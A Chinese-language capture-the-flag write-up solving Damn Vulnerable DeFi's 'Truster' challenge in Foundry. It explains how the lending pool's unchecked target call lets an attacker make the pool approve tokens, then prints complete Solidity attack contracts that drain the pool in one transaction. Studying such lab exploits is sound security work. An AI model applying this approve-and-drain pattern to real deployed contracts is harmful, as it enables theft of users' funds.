Challenge 3 - Truster

Truster

为了系统的学习solidity和foundry,我基于foundry测试框架重新编写damnvulnerable-defi的题解,欢迎交流和共建~🎉

https://github.com/zach030/damnvulnerabledefi-foundry

合约

  • TrusterLenderPool:提供闪电贷功能,池子中有100w DVT tokens

脚本

  • 部署DamnValuableToken、TrusterLenderPool合约
  • 向pool中转入100w DVT tokens
  • 执行攻击脚本
  • 期望100w token全部归属player账户,pool余额清空

题解

在pool中的flashLoan方法中,首先需要计算当前的token余额balanceBefore,然后转移token到borrower,再执行给定target.functionCall,最后校验当前余额和balanceBefore

区别于之前的闪电贷,这里pool没有继承IERC3156FlashLender,而是通过调用传入的target和calldata完成回调功能

因此主要的攻击方向就是target.functionCall,包括的内容是:

  • 将指定amount的token approve给攻击合约
  • 执行repay流程

执行完functionCall后再利用transfer方法将token从pool中转移出来,整体流程图如下所示: image

根据题目要求,尽可能在一笔交易完成,那么需要写合约来完成flashloan+approve+transfer的操作

  • 包括两个合约:TmpAttacker和Attacker,执行flashloan的是Attacker,但是因为一笔交易内完成(只有部署合约),部署合约时无法拿到当前合约地址,需要再创建一个合约:TmpAttacker

  • 部署Attacker合约时会调用pool.flashLoan,此时amount为0,只是为了进行approve,将TOKENS_IN_POOL数目的token approve给TmpAttacker

  • 再调用TmpAttacker.withdraw将token转移到player账户,完成攻击

整体代码如下:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/truster/TrusterLenderPool.sol";
import "../../src/DamnValuableToken.sol";

contract TmpAttacker {
    uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
    address player;
    address pool;
    DamnValuableToken token;
    constructor(address _player,address _token, address _pool){
        player = _player;
        pool = _pool;
        token = DamnValuableToken(_token);
    }

    function withdraw() external{
        token.transferFrom(pool, player, TOKENS_IN_POOL);
    }
}

contract Attacker {
    uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;

    constructor(address  _pool, address  _token){
        TmpAttacker attacker  = new TmpAttacker(msg.sender, _token,_pool);

        TrusterLenderPool pool = TrusterLenderPool(_pool);
        
        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)",
            attacker,
            TOKENS_IN_POOL
        );
        pool.flashLoan(0, address(attacker), _token, data);
        attacker.withdraw();
    }
}
comments powered by Disqus